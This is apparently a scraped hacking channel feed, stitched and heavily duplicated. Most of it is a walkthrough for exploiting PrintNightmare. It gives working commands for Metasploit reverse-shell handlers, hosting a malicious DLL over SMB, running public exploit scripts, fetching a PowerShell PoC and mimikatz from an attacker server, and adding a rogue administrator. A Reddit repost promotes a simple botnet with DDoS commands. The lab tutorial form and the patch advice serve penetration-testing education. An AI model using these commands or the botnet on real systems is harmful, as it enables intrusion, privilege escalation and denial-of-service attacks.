Hacking Articles Tips Tricks Videos Tutorials
col) has a method RpcAddPrinterDriverEx() which allows remote driver installation by users with the SeLoadDriverPrivilege right. This right is only with users in Administrator group. So, the exploit tries to bypass this authentication in RpcAddPrinterDriver.…
for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit’s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.
use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit
https://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000
We now start a handler beforehand prior to executing our DLL file using the exploit.
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit
https://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000
Now, we need to clone the github repo. We are using a forked version of Cube0x0’s original exploit.
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py
https://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000
Alright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket’s smbserver.
Add the share name you want (in my case, “share” is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
https://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000
With everything prepped up and ready, we can launch the RCE exploit. The execution is simple
./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’
Here, we just launched a share on impacket, we will use that as the UNC path
./CVE-2021-34527.py ignite:123@192.168.1.190 '\\192.168.1.2\share\evil.dll'
https://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000
As you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!
https://blogger.googleusercontent.com/img/a/AVvXsEi-cJsoLFCiHhF_mINWMNCwEV-YUSjEGKu_GBfjXsLHyAnzcrQogResom4p7PLFa8zf2xOPyU10IW6SzlkjShspncLP4ln4wP67-WSlSnkfjJ67KUz6YGWjOxrgwjR0CZZtuLS0Lb1XTbSAIMv1ezEWWec4XXSRTXEuCOokJy6wJv8F7QT6-xXW10m5fw=s16000 Method 2 – PrintNightmare LPE using PowershellWe have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn’t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.
git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al
https://blogger.googleusercontent.com/img/a/AVvXsEioSYbe6pbkGih4ZUifWq[...]
___________________________
@hacking_Attack
@Hacking_Video
use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit
https://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000
We now start a handler beforehand prior to executing our DLL file using the exploit.
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit
https://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000
Now, we need to clone the github repo. We are using a forked version of Cube0x0’s original exploit.
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py
https://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000
Alright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket’s smbserver.
Add the share name you want (in my case, “share” is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
https://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000
With everything prepped up and ready, we can launch the RCE exploit. The execution is simple
./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’
Here, we just launched a share on impacket, we will use that as the UNC path
./CVE-2021-34527.py ignite:123@192.168.1.190 '\\192.168.1.2\share\evil.dll'
https://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000
As you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!
https://blogger.googleusercontent.com/img/a/AVvXsEi-cJsoLFCiHhF_mINWMNCwEV-YUSjEGKu_GBfjXsLHyAnzcrQogResom4p7PLFa8zf2xOPyU10IW6SzlkjShspncLP4ln4wP67-WSlSnkfjJ67KUz6YGWjOxrgwjR0CZZtuLS0Lb1XTbSAIMv1ezEWWec4XXSRTXEuCOokJy6wJv8F7QT6-xXW10m5fw=s16000 Method 2 – PrintNightmare LPE using PowershellWe have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn’t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.
git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al
https://blogger.googleusercontent.com/img/a/AVvXsEioSYbe6pbkGih4ZUifWq[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit’s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though.…
FdyzeiMeaOByoi6UxaY1rYpMd-Cl25S3av86e5GqOsBg7QqegONtaIzAnkPy9JGnAeKeX2jHcqkmmKLbJRjFSA34EdOC3rmt-0G-XPjEtqE19Lb7l0AdV0kgxlBiOAe64zjyHg1ZQ38ccDB1MpeJ89gmmS3kLLImaxgxTc6Q=s16000
Now, once the victim is compromised, we can upload this ps1 file in \Users\Public directory using IWR and setting up a python http server in the CVE-2021-1675 directory.
cd CVE-2021-1675
python3 -m http.server 80
powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
cd C:\Users\Public
dir
https://blogger.googleusercontent.com/img/a/AVvXsEhV5QX_bfm1HwRTOt7-bbOEh4acNDeHiLp_mWoZXllcQaBEJgPwv5T4Z1b7XSIcG3ep9FMEZsNAfzjH47LQwg2K9_0H1lsYRhZpHw7u_p3U9LOhy87LSPGlH68kYoELn6EnPkOp7SRsweQFAjeZGvYvz4dTs4abBpB7B3yvZEWR0jeLrQG4DYfb5Kcg-w=s16000
Now, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:
powershell -ep bypass
Import-Module .\cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"
https://blogger.googleusercontent.com/img/a/AVvXsEiMmenFoAuIRtWOt1XV3NPSMyjB_EeKHQW71ycKwtDxuRzCbezsomgzDP1R94z71PIWxMFQc_3ASWzbG_uvlCOqpivVmXj6l8x_Edpg92Qz8KVm203ho0-NcF7TWjmRYSta14levAffd6xUTTXJ2Z0rcaYg3TSknkcLAyLdeGlIxCU7HrLazhl5kWdTcA=s16000
As you can see, the script has made a custom DLL that adds a new user “harsh” with password 123 in admin group and the script has exploited print spool.
net localgroup administrator
https://blogger.googleusercontent.com/img/a/AVvXsEjm476TN7H3YlvqxDa1dYq4BrUhJUHeUM6B7XA05xAhW9XD3aE0yLp9N4Kphis7HZy_mMiO0GazkeL6sRW8vXJm1smajhy1UJwKOhfpIYKwffUrVISRkd7-e7DdOmuktmfeWYDcY4wigV3HDWXtxrUHN1x6BaC3DwQ-yFRfZyJjC7HG3N7TbYjoCFKYTw=s16000
We can confirm this by logging in to the victim using psexec.
python3 psexec.py harsh:123@192.168.1.190
https://blogger.googleusercontent.com/img/a/AVvXsEhXwS2ULWBm-dVWr2ZZ3fMPCZ3mtvMXMV7a7QNievbmtA0uuvGiuDwjnNBKSSdSaEsT45xbtNXUq6QAmuzftzuPcTny1CGqzUmRYjtmw_tz9EeKiKWe_mk0bn9nyn_XJwTlYM_unfZp6jQtDCQiqz6B0Gym7uUDmolyB3My1fSKoiwLRzCtiZv7HqC3tA=s16000
We are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now. Method 3 – Printnightmare LPE using MimikatzWhen the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file “evil.dll” and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.
python3 -m http.server 80
powershell wget http://192.168.1.2/mimikatz.exe -O \users\Public\mimikatz.exe
misc::printnightmare /library:\\192.168.1.2\share\evil.dll /authuser:ignite /authpassword:123 /try:50
https://blogger.googleusercontent.com/img/a/AVvXsEjbPSehsyW5w9-_styKI9fjXjcQxml03A699x7Tvx4YipBMDT7pMyQREXWO81mhpDscJx50ZNFPgXa7lr08Rqxq1aOIpFFUubIAb3-xuhKE_q2kQ-jI8i6_NVEn25Bxe_-E38iiqygysu5p4qKMBTIFT2SnrVpgbGcRmkIHgK0bJhrlpV1E7RkDsSRFcw=s16000
As mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.
https://blogger.googleusercontent.com/img/a/AVvXsEj6yzSnwBZy4M3Cxais8__2qdWrLRnohzaf0NvIni5rdqA4cLYNA4W5MzUtE1sx0_pRvvoxn7PUFH8EQMCrb0DXjnxN7lk797FjBg91YrAD4no7xhXRX_PadTQjUo6qp8QW193t6Rh79vebv1FTDKv68lyjf5_3WjtuEeQEWg-AbldS7P_DJ2YbtPuMyw=s16000
Make sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!
And thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability. Patch StatusMicrosoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin adv[...]
___________________________
@hacking_Attack
@Hacking_Video
Now, once the victim is compromised, we can upload this ps1 file in \Users\Public directory using IWR and setting up a python http server in the CVE-2021-1675 directory.
cd CVE-2021-1675
python3 -m http.server 80
powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
cd C:\Users\Public
dir
https://blogger.googleusercontent.com/img/a/AVvXsEhV5QX_bfm1HwRTOt7-bbOEh4acNDeHiLp_mWoZXllcQaBEJgPwv5T4Z1b7XSIcG3ep9FMEZsNAfzjH47LQwg2K9_0H1lsYRhZpHw7u_p3U9LOhy87LSPGlH68kYoELn6EnPkOp7SRsweQFAjeZGvYvz4dTs4abBpB7B3yvZEWR0jeLrQG4DYfb5Kcg-w=s16000
Now, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:
powershell -ep bypass
Import-Module .\cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"
https://blogger.googleusercontent.com/img/a/AVvXsEiMmenFoAuIRtWOt1XV3NPSMyjB_EeKHQW71ycKwtDxuRzCbezsomgzDP1R94z71PIWxMFQc_3ASWzbG_uvlCOqpivVmXj6l8x_Edpg92Qz8KVm203ho0-NcF7TWjmRYSta14levAffd6xUTTXJ2Z0rcaYg3TSknkcLAyLdeGlIxCU7HrLazhl5kWdTcA=s16000
As you can see, the script has made a custom DLL that adds a new user “harsh” with password 123 in admin group and the script has exploited print spool.
net localgroup administrator
https://blogger.googleusercontent.com/img/a/AVvXsEjm476TN7H3YlvqxDa1dYq4BrUhJUHeUM6B7XA05xAhW9XD3aE0yLp9N4Kphis7HZy_mMiO0GazkeL6sRW8vXJm1smajhy1UJwKOhfpIYKwffUrVISRkd7-e7DdOmuktmfeWYDcY4wigV3HDWXtxrUHN1x6BaC3DwQ-yFRfZyJjC7HG3N7TbYjoCFKYTw=s16000
We can confirm this by logging in to the victim using psexec.
python3 psexec.py harsh:123@192.168.1.190
https://blogger.googleusercontent.com/img/a/AVvXsEhXwS2ULWBm-dVWr2ZZ3fMPCZ3mtvMXMV7a7QNievbmtA0uuvGiuDwjnNBKSSdSaEsT45xbtNXUq6QAmuzftzuPcTny1CGqzUmRYjtmw_tz9EeKiKWe_mk0bn9nyn_XJwTlYM_unfZp6jQtDCQiqz6B0Gym7uUDmolyB3My1fSKoiwLRzCtiZv7HqC3tA=s16000
We are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now. Method 3 – Printnightmare LPE using MimikatzWhen the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file “evil.dll” and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.
python3 -m http.server 80
powershell wget http://192.168.1.2/mimikatz.exe -O \users\Public\mimikatz.exe
misc::printnightmare /library:\\192.168.1.2\share\evil.dll /authuser:ignite /authpassword:123 /try:50
https://blogger.googleusercontent.com/img/a/AVvXsEjbPSehsyW5w9-_styKI9fjXjcQxml03A699x7Tvx4YipBMDT7pMyQREXWO81mhpDscJx50ZNFPgXa7lr08Rqxq1aOIpFFUubIAb3-xuhKE_q2kQ-jI8i6_NVEn25Bxe_-E38iiqygysu5p4qKMBTIFT2SnrVpgbGcRmkIHgK0bJhrlpV1E7RkDsSRFcw=s16000
As mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.
https://blogger.googleusercontent.com/img/a/AVvXsEj6yzSnwBZy4M3Cxais8__2qdWrLRnohzaf0NvIni5rdqA4cLYNA4W5MzUtE1sx0_pRvvoxn7PUFH8EQMCrb0DXjnxN7lk797FjBg91YrAD4no7xhXRX_PadTQjUo6qp8QW193t6Rh79vebv1FTDKv68lyjf5_3WjtuEeQEWg-AbldS7P_DJ2YbtPuMyw=s16000
Make sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!
And thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability. Patch StatusMicrosoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin adv[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
FdyzeiMeaOByoi6UxaY1rYpMd-Cl25S3av86e5GqOsBg7QqegONtaIzAnkPy9JGnAeKeX2jHcqkmmKLbJRjFSA34EdOC3rmt-0G-XPjEtqE19Lb7l0AdV0kgxlBiOAe64zjyHg1ZQ38ccDB1MpeJ89gmmS3kLLImaxgxTc6Q=s16000 Now, once the victim is compromised, we can upload this ps1 file in \Users\Public…
isory mentioned in the introduction. Furthermore, system admins should consider disabling point and print functionality and disabling printing on users where it is not necessary. ConclusionDue to the nature of this vulnerability and ease of exploitation, PrintNightmare is a severe vulnerability that got a de-facto vulnerability of the year award in 2021. Many newer exploits have arised since then that target spoolsv.exe and despite all the efforts by Microsoft, patches are getting bypassed and so, it is highly recommended that analysts stay aware of upcoming threats to Print Spooler and keep their monitoring definitions updated. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Windows Privilege Escalation: PrintNightmare appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Windows Privilege Escalation: PrintNightmare appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
HybridTestFramework - End To End Testing Of Web, API And Security
Full-fledged WEB, API and Security testing framework using selenium,ZAP OWASP proxy and rest-assured Supported Platforms This framework supports WebUi automation across a variety of browsers like Chrome, Firefox, IE, no only limited to this but extended to test rest api, security and visual testing. Capabilities Cross browser testing support Added browserstack support for CrossBrowser testing Running tests in docker containers selenium grid Running tests in AWS DeviceFarm selenium grid Running tests in selenium server in docker containers Security testing using OWASP, running in docker container Api testing support using RestAssured Visual regression testing using percy.io Accessibility testing using axe-selenium Stubbed api testing using WireMock Can send logs to ElasticSearch for kibana dashboard visualization Database testing support Kafka testing support Kubernetes support Setup & Tools Install intellij https://www.jetbrains.com/idea/download/ Install docker desktop https://www.docker.com/products/docker-desktop Java JDK_11 https://adoptopenjdk.net/ Gradle https://gradle.org/next-steps/?version=6.8.3&format=bin Allure https://github.com/allure-framework/allure2/archive/2.17.2.zip Set Environment variables JAVA_HOME: Pointing to the Java SDK folder\bin GRADLE_HOME: Pointing to Gradle directory\bin. ALLURE_HOME: Pointing to allure directory\bin. Getting Started $ git clone $ cd $ import project from intellij as a gradle project$ gradle clean$ gradle build$ gradle task E2E$ gradle allureReport$ gradle allureServe Write your first user journey Create new class and name as the TC00*_E2E_TEST-*** Provide jira link in @Link Provide all the api components as @Feature Provide test severity and description Write test Use CatchBlock in try/catch section Spin-up chrome, firefox, selenium hub and OWASP proxy server $ docker-compose up -d Complete infrastructure creation for local run $ $ docker-compose -f docker-compose-infra up -d Spin-up four additional node-chrome/firefox instances linked to the hub $ docker-compose scale chrome=5$ docker-compose scale firefox=5 Spin-up kafka instances $ docker-compose -f docker-compose-kafka.yml up$ docker-compose -f docker-compose-kafka.yml down --rmi all Spin-up selenium hub in kubernetes instance $ kubectl apply -f selenium-k8s-deploy-svc.yaml$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml$ kubectl proxy$ kubectl describe secret -n kube-system | grep deployment -A 12## To delete deployments$ kubectl delete deployment selenium-node-firefox$ kubectl delete deployment selenium-node-chrome$ kubectl delete deployment selenium-hub navigate to http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/ Execution Gif Download HybridTestFramework
Read more...
___________________________
@hacking_Attack
@Hacking_Video
Full-fledged WEB, API and Security testing framework using selenium,ZAP OWASP proxy and rest-assured Supported Platforms This framework supports WebUi automation across a variety of browsers like Chrome, Firefox, IE, no only limited to this but extended to test rest api, security and visual testing. Capabilities Cross browser testing support Added browserstack support for CrossBrowser testing Running tests in docker containers selenium grid Running tests in AWS DeviceFarm selenium grid Running tests in selenium server in docker containers Security testing using OWASP, running in docker container Api testing support using RestAssured Visual regression testing using percy.io Accessibility testing using axe-selenium Stubbed api testing using WireMock Can send logs to ElasticSearch for kibana dashboard visualization Database testing support Kafka testing support Kubernetes support Setup & Tools Install intellij https://www.jetbrains.com/idea/download/ Install docker desktop https://www.docker.com/products/docker-desktop Java JDK_11 https://adoptopenjdk.net/ Gradle https://gradle.org/next-steps/?version=6.8.3&format=bin Allure https://github.com/allure-framework/allure2/archive/2.17.2.zip Set Environment variables JAVA_HOME: Pointing to the Java SDK folder\bin GRADLE_HOME: Pointing to Gradle directory\bin. ALLURE_HOME: Pointing to allure directory\bin. Getting Started $ git clone $ cd $ import project from intellij as a gradle project$ gradle clean$ gradle build$ gradle task E2E$ gradle allureReport$ gradle allureServe Write your first user journey Create new class and name as the TC00*_E2E_TEST-*** Provide jira link in @Link Provide all the api components as @Feature Provide test severity and description Write test Use CatchBlock in try/catch section Spin-up chrome, firefox, selenium hub and OWASP proxy server $ docker-compose up -d Complete infrastructure creation for local run $ $ docker-compose -f docker-compose-infra up -d Spin-up four additional node-chrome/firefox instances linked to the hub $ docker-compose scale chrome=5$ docker-compose scale firefox=5 Spin-up kafka instances $ docker-compose -f docker-compose-kafka.yml up$ docker-compose -f docker-compose-kafka.yml down --rmi all Spin-up selenium hub in kubernetes instance $ kubectl apply -f selenium-k8s-deploy-svc.yaml$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml$ kubectl proxy$ kubectl describe secret -n kube-system | grep deployment -A 12## To delete deployments$ kubectl delete deployment selenium-node-firefox$ kubectl delete deployment selenium-node-chrome$ kubectl delete deployment selenium-hub navigate to http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/ Execution Gif Download HybridTestFramework
Read more...
___________________________
@hacking_Attack
@Hacking_Video
JetBrains
Download IntelliJ IDEA
Download the latest version of IntelliJ IDEA, the leading IDE for professional development in Java and Kotlin. Available for Windows, macOS, and Linux.
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Build a (very simple) Botnet with my new tool!
Hi all, take a look at my new GitHub tool for building a (super simple implementation of) a botnet. I'm sure there's plenty more tools for this that probably work better, but I wanted to build something I had little experience with, so here's my attempt!
https://github.com/flancast90/build-a-bn . ⭐ if you think it's cool, I love all the support I get here!
build-a-bn
Build you very own (very simple) botnet!
Get Started
To get started with build-a-bn, simply install the required libs, and then start the server.
1.
2.
3. See
💡 Pro Tip 💡: Use ngrok.io (https://ngrok.com/) to give a public URL to your build-a-bn program, which then will add anyone on that link to the botnet! Other options include hosting on repl.it (https://replit.com/), Digital Ocean (https://www.digitalocean.com/), or Netlify (https://www.netlify.com/)
Commands
build-a-bn has some basic commands which can be tryped into the console while the program is running, and allow you some control over the botnet.
Adding to existing website.
build-a-bn can be simply added to any existing node.js site or html you may have. To do so, just move the
This approach is not recommended, however, since the JS file may have to be changed to play well with your other file. In the future, options will be added allowing an easy
submitted by /u/Muted_Original
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Build a (very simple) Botnet with my new tool!
Hi all, take a look at my new GitHub tool for building a (super simple implementation of) a botnet. I'm sure there's plenty more tools for this that probably work better, but I wanted to build something I had little experience with, so here's my attempt!
https://github.com/flancast90/build-a-bn . ⭐ if you think it's cool, I love all the support I get here!
build-a-bn
Build you very own (very simple) botnet!
Get Started
To get started with build-a-bn, simply install the required libs, and then start the server.
1.
cd server && npm install2.
node build-a-bn.js3. See
localhost:8000for the (blank) file which will add your computer to the botnet for the time it is on the page💡 Pro Tip 💡: Use ngrok.io (https://ngrok.com/) to give a public URL to your build-a-bn program, which then will add anyone on that link to the botnet! Other options include hosting on repl.it (https://replit.com/), Digital Ocean (https://www.digitalocean.com/), or Netlify (https://www.netlify.com/)
Commands
build-a-bn has some basic commands which can be tryped into the console while the program is running, and allow you some control over the botnet.
--help : outputs a list of commands. --ips : returns a url containing every url connected to the server --start [ip] : starts a DDoS attack from the IP specified. Instead of an IP, use "all" to start DDoS across all connections. --stop [ip] : stops a DDoS attack on the IP specified. Instead of an IP, use "all" to stop DDoS across all connections. Adding to existing website.
build-a-bn can be simply added to any existing node.js site or html you may have. To do so, just move the
/client/script.jsto your project root and link in your existing html file. Then, move the /server/build-a-botnet.jsfile to your root directory as well. From here, you have a few options, the easiest of which is just to add your existing server code inside the build-a-botnet.js file, or vice-versa. With additional modification, you can require the build-a-botnet file as follows:const botnet = require('./build-a-botnet.js'); This approach is not recommended, however, since the JS file may have to be changed to play well with your other file. In the future, options will be added allowing an easy
require()import.submitted by /u/Muted_Original
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Reddit
From the hacking community on Reddit: Build a (very simple) Botnet with my new tool!
Explore this post and more from the hacking community
hacking: security in practice
My buddies phone got stolen
My buddies phone got jacked and it keeps pinging locations through his Apple watch. But locations keep moving around. Is there a way to 100 percent find the location? Just to be clear the cell phone is off and is in lost mode. It's an iphone.
submitted by /u/Charlezmantion
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
My buddies phone got stolen
My buddies phone got jacked and it keeps pinging locations through his Apple watch. But locations keep moving around. Is there a way to 100 percent find the location? Just to be clear the cell phone is off and is in lost mode. It's an iphone.
submitted by /u/Charlezmantion
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
My buddies phone got stolen
My buddies phone got jacked and it keeps pinging locations through his Apple watch. But locations keep moving around. Is there a way to 100...
hacking: security in practice
[debate] is it possible to get a virus from a movie file?
I have preformed professional penetration testing irl and have of course studied black-hat hacking. Like I said before I have hid an encrypted archive "encoded"/intergraded into the data of a movie, and I was able to burn that to a dvd. So I dont understand why a bad guy couldnt do the same thing with any malicious code. If you have VLC or notepad++ as your default, for example, they are third-party applications which are susceptible to supply-chain attacks! Futhermore, unless you're browsing the web with all scripts off, cookies off, SSL encryption-forced, and/or with a trusted VPN for websites without the certificate, then you are vulnerable to many basic attacks which may not even involve downloading a movie! the website hosting the supposedly safe "movie file" may exploit you as well as any single of the pop-ups & FAST redirects! Even the dark web's, TOR, security can be bypass by an WebRTC stun request - many who use tor for serious purposes know how strict you must be with security while browsing the web!
submitted by /u/Inner_Load4714
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
[debate] is it possible to get a virus from a movie file?
I have preformed professional penetration testing irl and have of course studied black-hat hacking. Like I said before I have hid an encrypted archive "encoded"/intergraded into the data of a movie, and I was able to burn that to a dvd. So I dont understand why a bad guy couldnt do the same thing with any malicious code. If you have VLC or notepad++ as your default, for example, they are third-party applications which are susceptible to supply-chain attacks! Futhermore, unless you're browsing the web with all scripts off, cookies off, SSL encryption-forced, and/or with a trusted VPN for websites without the certificate, then you are vulnerable to many basic attacks which may not even involve downloading a movie! the website hosting the supposedly safe "movie file" may exploit you as well as any single of the pop-ups & FAST redirects! Even the dark web's, TOR, security can be bypass by an WebRTC stun request - many who use tor for serious purposes know how strict you must be with security while browsing the web!
submitted by /u/Inner_Load4714
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
[debate] is it possible to get a virus from a movie file?
I have preformed professional penetration testing irl and have of course studied black-hat hacking. Like I said before I have hid an encrypted...
Hacking on Medium
Investigating DLL logs with Python
https://cdn-images-1.medium.com/max/800/0*OpWTu1q9TLvGOeSG.jpg
Dynamic Link Libraries (aka DLL) are code snippets in files that make up programs on your Windows computer.
Continue reading on Python in Plain English »
___________________________
@hacking_Attack
@Hacking_Video
Investigating DLL logs with Python
https://cdn-images-1.medium.com/max/800/0*OpWTu1q9TLvGOeSG.jpg
Dynamic Link Libraries (aka DLL) are code snippets in files that make up programs on your Windows computer.
Continue reading on Python in Plain English »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Investigating DLL logs with Python
Dynamic Link Libraries (aka DLL) are code snippets in files that make up programs on your Windows computer. They help maintain organization…
Hacking on Medium
Relevant — THM Walkthrough
